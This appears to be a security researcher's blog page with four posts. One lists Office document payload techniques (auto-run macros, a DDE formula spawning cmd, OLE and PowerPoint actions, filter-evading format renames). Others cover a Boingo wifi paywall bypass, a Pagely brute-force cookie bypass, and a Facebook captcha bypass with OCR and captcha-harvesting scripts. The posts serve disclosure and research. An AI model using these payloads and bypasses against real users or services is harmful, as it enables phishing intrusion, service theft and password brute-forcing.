Showing posts with label bypass. Show all posts
Showing posts with label bypass. Show all posts

Wednesday, 1 March 2017

Office Document Macros, OLE, Actions, DDE Payloads and Filter Bypass

There are a few different ways payloads can be delivered through Microsoft Office documents, including macros, OLE embedding, Addins, Actions and DDE. To make life easier I wanted to list them all together in one place. A lot of what is mentioned below is specific to Word, Excel or Powerpoint however don't forget that Office actually includes, Word, Excel, Powerpoint, Access, Outlook and OneNote. If a vector doesn't work in one product, try another.

When testing any of the below remember that Office may require basic user interaction to either "Enable Editing" for documents from the internet or "Enable Content" for active content.


Macros

Macros are probably the most well-known method for abusing Office documents. Essentially Office allows users to include VBScript to add dynamic functionality however there are no restrictions on this functionality. Simple payloads will execute a single process e.g. powershell, more advanced payloads will load WinAPI functions to inject code into memory without ever launching additional processes.

So how do you get your VBScript to load? Well Word provides two useful functions AutoOpen() and Document_Open() that can be used to automatically launch a payload when a document is opened. These functions will work in .doc .docm  and dotm, but not docx.

In Excel you can use Workbook_Open() but as with Word you'll need to use an xlsm file. An example payload is shown below:

Private Sub Workbook_Open()
Msgbox "test macro"
CreateObject("Wscript.Shell").Run "calc"
End Sub

A nice real-world macro and OLE example using Empire is linked below:

https://enigma0x3.net/2016/03/15/phishing-with-empire/

Instead of embedding the payload directly in the current document you can also use templates/addins. So although the current document may not contain anything malicious if the template/addin does then it will still execute.


ActiveX Components

Aside from the standard macro launching functions (AutoOpen etc.), Word/Excel/Powerpoint also support ActiveX "Controls" and "Fields" which can be used to either automatically launch macros or trick users into executing macros. Basic options include buttons and images, more exotic options include frames and the built-in Microsoft browser.

There's a great overview of ActiveX controls at the link below:

https://www.greyhathacker.net/?p=948

The "Fields" function in Word (Insert -> QuickParts -> Field) is another interesting vector, in particular the Link and MacroButton functions offer ways to embed/activate content.


OLE Embedding

After Macros the next most interesting Office feature is probably OLE embedding. By default Office allows users to embed external content in documents. This can be used to insert pictures, videos or other documents within the current document. What's awesome is that you can also just insert a binary or a malicious script. This works across Word, Excel and Powerpoint.

To insert an object select "Insert" -> "Object":


All the user has to do is double click the embedded content and you get a shell.


Powerpoint Actions

Powerpoint is obviously designed for presentations and most people are familiar with transitions, (making memes fly in and out). But what you may not know is that Powerpoint supports OnClick and OnMouseOver "Actions". What are actions? Well anything you like, they basically allow you to execute a process of your choosing including arguments. The one limitation with this vector is that the user needs to view the slides in presentation mode, so you'll need to add some text telling the user to press F5.



An in-the-wild example that used an action to load an embedded payload is linked below:

https://phishme.com/powerpoint-and-custom-actions/


Dynamic Data Exchange

DDE (dynamic data exchange) is a semi-legacy Windows feature used for displaying data from external data sources in your current document. Sounds reasonable enough right? Well the issue with this functionality is that it allows you to not just call external documents but also processes and you can supply command line arguments too. So another very hackable feature.

The formula below can be used to test in Excel, this works in both xls and xlsx:

=cmd|'/c calc'!A0

Remember that as well as =, Excel also supports the use of + - @ characters at the start of a formula.

You can also view/edit the DDE XML directly by opening your document with 7zip:

<ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" 
ddeService="cmd" ddeTopic="/c calc">
<ddeItems>
<ddeItem name="A0" advise="1"/>
<ddeItem name="StdDocumentName" ole="1" advise="1"/>
</ddeItems></ddeLink>

A real-world example exploiting this issue can be found below:

https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/’

It's worth mentioning that I couldn't find a way to execute DDE in Word or Powerpoint. I'd be interested to know if this is possible or not.


Filter Bypasses

Many companies/products will filter content based on either the extension or content-type of a file. Lucky for us Office has many different formats that will modify the appearance of our payload but not the action of the payload.

To experiment with such bypasses take a look at the "Save As" supported formats. In Word/Excel/Powerpoint you'll see there are many different output formats.



You can use the different formats on their own or try renaming the extension back to doc/ppt/xls. In most instances the payload will still execute despite having the content modified.

Two common bypasses include:
  • Word doc saved as XML then renamed to doc
  • Word doc saved as MHTML then renamed to doc
For Excel formula filter bypass, Excel did used to support an "Evaluate" function so you could spread a command over multiple cells, concatenate and then evaluate (execute) the statement. This was unfortunately removed so can no longer be used maliciously. The other major limitation with Excel is you can't execute Macros directly from formulas (afaik!)


Further Research

  • The "Fields" as well as the "Data Source/DB" feature in Word have multiple potentially interesting functions. I couldn't find a way to exploit them, maybe you can?
  • In Office hyperlinks are quite interesting as they let you link to local files however you can't supply arguments. It would be interesting to see if args could be supplied somehow or links abused in another way.


Final Thoughts

Microsoft Office provides multiple different ways to execute code. There are still quite a few features that I feel could be exploited with more research and given how commonly used Office documents are for payload delivery I can imagine we'll see more vectors in the future.

I didn't mention prevention/detection above but from a defensive point ideally you want to block any email attachments containing a Macro or OLE. For detection it's relatively easy to spot suspicious child processes (cmd/powershell/wscript etc.) coming from Office, direct to WinAPI stuff is more complex to detect but not impossible with the right tools.

Hope you guys have found this useful, if I missed anything obvious out let me know in the comments below.

Pwndizzle out.

Thursday, 30 April 2015

Wednesday, 22 October 2014

Boingo Hotspot Bypass Analysis

In this post I'll take a look at what seems to be a bypass vulnerability in the current version of Boingo hotspot that allows anyone to access free wifi.


Boing-what-go?

While waiting for my plane at JFK airport I thought I'd check for free wifi, scanning the local area I saw an AP called "Boingo hotspot" and decided to give it a go.


However after connecting to the access point I found out Boingo was a pay only wifi service and all my requests were being redirected to the Boingo site.

https://www.boingohotspot.net/ResponsivePreroll.aspx?lang=en&SCC=CCGJFK001

Looking over the site I came across the "Good Stuff" feature which appeared to allow access to a small number of whitelisted sites for free. However after visiting one of the Good Stuff links I somehow gained full unrestricted internet access...

Googling this feature it turns out the flaw had already been discovered and publicly disclosed. No where however explained how the flaw worked. Lets take a look.


Secret to the Good Stuff

The Good Stuff feature, in theory, provides access to a small selection of whitelisted sites. For example:


Behind each of those buttons is an interesting looking link, something like this:

https://www.boingohotspot.net/ClickCapture.aspx?linkID=BoingoSponsorship&promoId=BIP000000000108&promocode=JFKTheGoodStuff&redirectURL=http://www.imdb.com/

It turns out the promoId/promocode function as a kind of username/password and once the link is clicked an authentication process is kicked off. Roughly something like this:

1. After clicking the link the server will return a sessionID ("s"), which is then sent with the promoid/promocode to retrieve temporary credentials.

https://www.boingohotspot.net/SponsorInternalBoingoRadius.aspx?campaignType=0&s=bnagn1j42rohtxvlzqhq1qgg&promoId=BIP000000000108&promocode=JFKTheGoodStuff

2. The temporary username and password received are then submitted to login.aspx in a POST request. Notice that the temporary username includes my MAC address, promocode, airport, terminal and a suspicious password-like string "bwpromo!1".

username=boingo/bwpromo!1|C01885DBFED1|0|0|0|Promo|0|BIP000000000108|jfk|term7|0|1412015104&password=ee0472ab2c647b2f77322257642b876bc346a3eb4dcaeef52a792f15fff6241c&domain=&dst=https://www.boingohotspot.net/

3. Once the login request completes, your ip should have been added to the allowed list and you can now browse the full internet!


https://www.boingohotspot.net/welcome.aspx?username=boingo/bwpromo!1|C01885DBFED1|0|0|0|Promo|0|BIP000000000108|jfk|term7|0|1412015104&logoutURL=http://jfk-t7.boingohotspot.net/logout


What the heck is going on?

The main issue is that whitelist restrictions for "Good Stuff" users are simply not enforced. There should be some server-side mechanism that is monitoring and filtering http requests to only allow content from whitelisted sites, this seems to be missing or at least was not enabled.

Also I'm not too sure why they included an authentication process for the free content. For paying customers authentication makes sense but for free content it shouldn't be needed. Tracking users is one possibility but this could have been done with cookies, headers or POST requests.


Final thoughts

With only an hour to spare before my flight it was a shame I didn't have longer to play with the Boingo hotspot. When you come across issues as bizarre as this you just know there are more security holes just lurking below the surface :)

Thanks for reading, feedback and questions are welcome, just drop me a comment below.

Tuesday, 26 August 2014

Pagely Brute Force Mitigation Bypass

A while back I was looking at one of Facebook's acquisitions, Onavo, and came across their blog which was using a Wordpress install managed by Pagely. While testing for ways to brute force the login page I discovered a brute force mitigation bypass that not only affected Onavo but also every other Pagely protected site :)


Detect Wordpress? Look for wp-login.php

Wordpress is pretty common and actually pretty secure these days. One area that still needs some work though is protection for the default login page wp-login.php. Most installations leave this page publicly exposed and a lot do not implement the recommended brute force mitigations here:

http://codex.wordpress.org/Brute_Force_Attacks

Onavo took the easy approach and used Pagely. Pagely offer managed security which in theory should mean you are more secure...


Testing for bruteforce

So let's try and brute force Onavo's wp-login page.


You can see after only a few requests we start getting redirected (302). This redirection actually takes you to a Pagely captcha page.



The magical "pagelyvalid" cookie

I was curious how they implemented the verification once past the captcha so took a look at the response and saw that the captcha check just set a cookie called "pagelyvalid" to true. Hmmm. Lets try our brute force attack again but this time including the magical pagelyvalid cookie.



Lots of 200's. So simply including the pagelyvalid true cookie we can bypass the Pagely brute force mitigation and guess passwords night and day. And like I said at the start this didn't just affect Onavo but every site that used the Pagely service. Yikes!


Final Thoughts

A lot of sites miss brute force mitigations and rate limiting in general. Third parties can offer a quick fix but it's important to remember you are trusting your security to that third party and assuming they will do a good job (which isn't always the case!).

Both Facebook and Pagely responded reasonably quickly (the Pagely CEO even sent me a message!) and a fix has now been deployed. Hope you guys found this interesting, as usual if you have questions or suggestions just drop me a comment below.

Pwndizzle out

Thursday, 10 July 2014

How to Bypass Facebook's Text Captcha

In this post I'll discuss Facebook's text captcha and how to bypass it with a little Gimp-Fu image cleaning and Tesseract OCR. The techniques below build on previous work where I demonstrated how to bypass Bugcrowd's captcha.


The Facebook Captcha(s)

I've seen Facebook use two captchas. The first is the friend photo captcha, where you are required to select your friends in pictures. This one seemed hard to bypass (except when you attack your friend's account and know all of their friends).


The second type is the text-based captcha, where you just enter the letters/numbers shown in the image. Something like this:


Let's look at some ways to bypass the text captcha :)


A couple of logic flaws...

My original aim was to focus on OCR with Tesseract but it turns out the captcha had logic flaws as well.

Issue #1 - When entering the captcha not all of the characters needed to be correct. If you got one character wrong it would still be accepted.

Issue #2 - The captcha check is case insensitive. Despite using uppercase and lowercase letters in the captcha images, the server didn't actually verify the case of user input.

Issue #3 - Captcha repetition...


Each captcha should have contained a dynamically generated string randomly chosen from a pool of 62^7 possibilities. For some reason though I encountered repetition. This is obviously very bad as with a limited set of captchas an attacker can just download every image, solve them all and achieve a 100% bypass rate in the future. I have no idea what the cause of this issue was and Facebook didn't release any details.

The logic flaws were interesting but let's not forget OCR as well!


Back to the image...

Let's take a look at a Facebook captcha image:


When thinking about OCR analysis there's some things to note:
  • Letters/numbers themselves are clearly displayed in black - Good
  • Minimal overlaying, wiggling and distortion is used - Good
  • Black scribbles add noise to the background - Bad
  • White scribbles effectively remove pixels from the characters - Bad
I did some testing with Tesseract and found noise, image size, character size and spacing all had a big impact on the accuracy of results. For example, directly analysing the image above will return invalid characters or no response at all. To improve Tesseract results I needed some way to get rid of the noise and repair damaged characters.


Step #1 Cleaning 

I chose to use Gimp for my image cleaning as it was a program I was familiar with and it offered command line processing with Python. While the documentation (here and here) and debugging aren't too good, it gets the job done.

So first up I loaded the image and increased its size, I found processing a smaller image was less accurate and would reduce the quality of the final image.
#Load image
image = pdb.gimp_file_load(file, file)
drawable = pdb.gimp_image_get_active_layer(image)
#Double image size
pdb.gimp_image_scale(image,560,142)

Next I removed the background noise. By selecting by black and then shrinking the selection, the thin black lines would be unselected, leaving just the black letters. To actually paint over the noise I just had to re-grow my selection, invert and paint white.
#Select by color black
pdb.gimp_by_color_select(drawable,"#000000",20,2,0,0,0,0)
#Shrink selection by 1 pixel
pdb.gimp_selection_shrink(image,1)
#Grow selection by 2 pixels
pdb.gimp_selection_grow(image,2)
#Fill black
pdb.gimp_context_set_foreground((0,0,0))
pdb.gimp_edit_fill(drawable,0)
pdb.gimp_edit_fill(drawable,0)
pdb.gimp_edit_fill(drawable,0)
#Invert selection
pdb.gimp_selection_invert(image)
#Fill white
pdb.gimp_context_set_foreground((255,255,255))
pdb.gimp_edit_fill(drawable,0)

With the outside black noise removed I inverted again to reselect the letters/numbers then translated up and down, painting after each translation. This helped fill in the white lines that in general streaked horizontally through the black characters.
#Invert selection
pdb.gimp_selection_invert(image)
pdb.gimp_context_set_foreground((0,0,0))
#Translate selection up 4 pixels and paint
pdb.gimp_selection_translate(image,0,4)
pdb.gimp_edit_fill(drawable,0)
#Translate selection down 10 pixels and paint
pdb.gimp_selection_translate(image,0,-10)
pdb.gimp_edit_fill(drawable,0)

With the processing done I resized the image back to its original size and saved it.
#Resize image
pdb.gimp_image_scale(image,280,71)
#Export
pdb.gimp_file_save(image, drawable, file, file)
pdb.gimp_image_delete(image)

I've included the full script at the bottom of this post. I ran it with the following command:
gimp-console-2.8.exe -i -b "(python-clean RUN-NONINTERACTIVE \"test.png\")" -b "(gimp-quit 0)"

As an example, cleaning the image above I got this:



Step #2 Submitting to Tesseract

With the image now cleaned it was ready for Tesseract. To improve the accuracy of results I selected the single word mode (-psm 8) and used a custom character set (nobatch fb).
tesseract.exe test.jpg output -psm 8 nobatch fb

I created the fb character set in "C:\Program Files (x86)\Tesseract-OCR\tessdata\configs", it contained the following whitelist:
tessedit_char_whitelist abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890


Step #3 Automate everything with Python

I didn't bother to build a fully working POC to automate a real attack - I'm leaving this step as homework for you guys, best script wins $1 via Paypal ;) (I am of course joking don't actually do this!)

Theoretically though if you did want to build a fully functioning script you'd just need to take the python script from my Bugcrowd post and cleaning script from this post, combine and pwn.

Also the following can be used to download Facebook captchas after you have triggered the Facebook defenses:
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import re
import subprocess

def getpage():
    try:
        print("[+] POSTing to fb");
        params = {'lsd':'AVrQ4y7A', 'email':'09262073366', 'did_submit':'Search', '__user':'0', '__a':'1', '__dyn':'7wiUdp87ebG58mBWo', '__req':'p','__rev':'1114696','captcha_persist_data':'abc','recaptcha_challenge_field':'','captcha_response':'abc','confirmed':'1'}
        data = urlencode(params).encode('utf-8')
        request = Request("https://www.facebook.com/ajax/login/help/identify.php?ctx=recover")
        request.add_header('Cookie', 'locale=en_GB;datr=Ku2xUhSA3kShtkMud0JXRHCY; reg_fb_gate=https%3A%2F%2Fwww.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfco_1iUuf5XPNAuu9SBYhFnEoJfgxIw_9vwHlTfaTRjGB2Ac4VOSLHb018RjcLg3JVRsiY-sQlRSM00X59eKhLh5SJGHltQ0hEQ2WAiRR9A_g%26smuh%3D28853%26lh%3DAc-vs8zSU-_-6kh2%26aik%3Dqh9ABV52OPB3zXxCyUTNXw;')
        #Send request and analyse response
        f = urlopen(request, data)
        response = f.read().decode('utf-8')
        global ccode
        ccode = re.findall('[a-z0-9-]{43}', response)
        global chash
        chash = re.findall('[a-zA-Z0-9_-]{814}', response)
        print("[+] Parsed response");
    except URLError as e:
        print ("*****Error: Cannot retrieve URL*****");

def getcaptcha(i):
    try:
        print("[+] Downloading Captcha");
        captchaurl = "https://www.facebook.com/captcha/tfbimage.php?captcha_challenge_code="+ccode[0]+"&captcha_challenge_hash="+chash[1]
        urlretrieve(captchaurl,'fbcap'+str(i)+'.png')
    except URLError as e:
        print ("*****Error: Cannot retrieve URL*****");

print("[+] Start!");
for i in range(0, 1000):
    #Download page and parse data
    getpage();
    #Download captcha image
    getcaptcha(i);
print("[+] Finished!");



Final Results

So I guess you're wondering, how accurate was Tesseract? Well on a sample of 50 captchas that had been cleaned with Gimp, Tesseract was able to analyse them 100% correctly about 20% of the time. However taking into account the logic flaws the actual pass rate jumped to 50%.

Some example results:


It's quite impressive seeing how well both the Gimp cleaning and Tesseract analysis performed. Although you can also see how even subtle changes in the initial image can significantly affect both cleaning output and final analysis.


Facebook Fix #1

After reporting these issues the captcha repetition was addressed pretty quickly. The other logic flaws were left unchanged. The image itself was modified to make the characters/noise thicker:


Unfortunately this had little effect on the captcha strength as it's the noise to character relative thickness that mattered not the absolute thickness. Making the noise thicker and characters thinner, would have prevented noise removal through selection shrinking.


Final Thoughts

Another day, another captcha bypass. Whether you use Tesseract or a bad-ass custom neural network like Google or Vicarious, text captchas can be bypassed with relative ease. I managed a 20% pass-rate, I'm sure with a better cleaning process and/or Tesseract training this could be pushed a lot higher. It's time to ditch that text captcha.

Facebook said that right now the captcha is used more as a mechanism to slow down attacks as opposed to stopping attacks completely. The captcha will eventually be fixed but there are no plans at the moment.

Shout out to Facebook security for their help looking into this issue. Thanks for reading. Questions and comments are always appreciated, just leave a message below.

Pwndizzle out


############################################
#Gimp-Fu cleaning script, based on stackoverflow script here:
#http://stackoverflow.com/questions/12662676/writing-a-gimp-python-script?rq=1

from gimpfu import pdb, main, register, PF_STRING

def clean(file):
    #Load image
    image = pdb.gimp_file_load(file, file)
    drawable = pdb.gimp_image_get_active_layer(image)
    #Double image size
    pdb.gimp_image_scale(image,560,142)
    #Select by color black
    pdb.gimp_by_color_select(drawable,"#000000",20,2,0,0,0,0)
    #Shrink selection by 1 pixel
    pdb.gimp_selection_shrink(image,1)
    #Grow selection by 2 pixels
    pdb.gimp_selection_grow(image,2)
    #Fill black
    pdb.gimp_context_set_foreground((0,0,0))
    pdb.gimp_edit_fill(drawable,0)
    pdb.gimp_edit_fill(drawable,0)
    pdb.gimp_edit_fill(drawable,0)
    #Invert selection
    pdb.gimp_selection_invert(image)
    #Fill white
    pdb.gimp_context_set_foreground((255,255,255))
    pdb.gimp_edit_fill(drawable,0)
    #Invert selection
    pdb.gimp_selection_invert(image)
    pdb.gimp_context_set_foreground((0,0,0))
    #Translate selection up 4 pixels and paint
    pdb.gimp_selection_translate(image,0,4)
    pdb.gimp_edit_fill(drawable,0)
    #Translate selection down 10 pixels and paint
    pdb.gimp_selection_translate(image,0,-10)
    pdb.gimp_edit_fill(drawable,0)
    #Resize image
    pdb.gimp_image_scale(image,280,71)
    #Export
    pdb.gimp_file_save(image, drawable, file, file)
    pdb.gimp_image_delete(image)

args = [(PF_STRING, 'file', 'GlobPattern', '*.*')]
register('python-clean', '', '', '', '', '', '', '', args, [], clean)

main()

############################################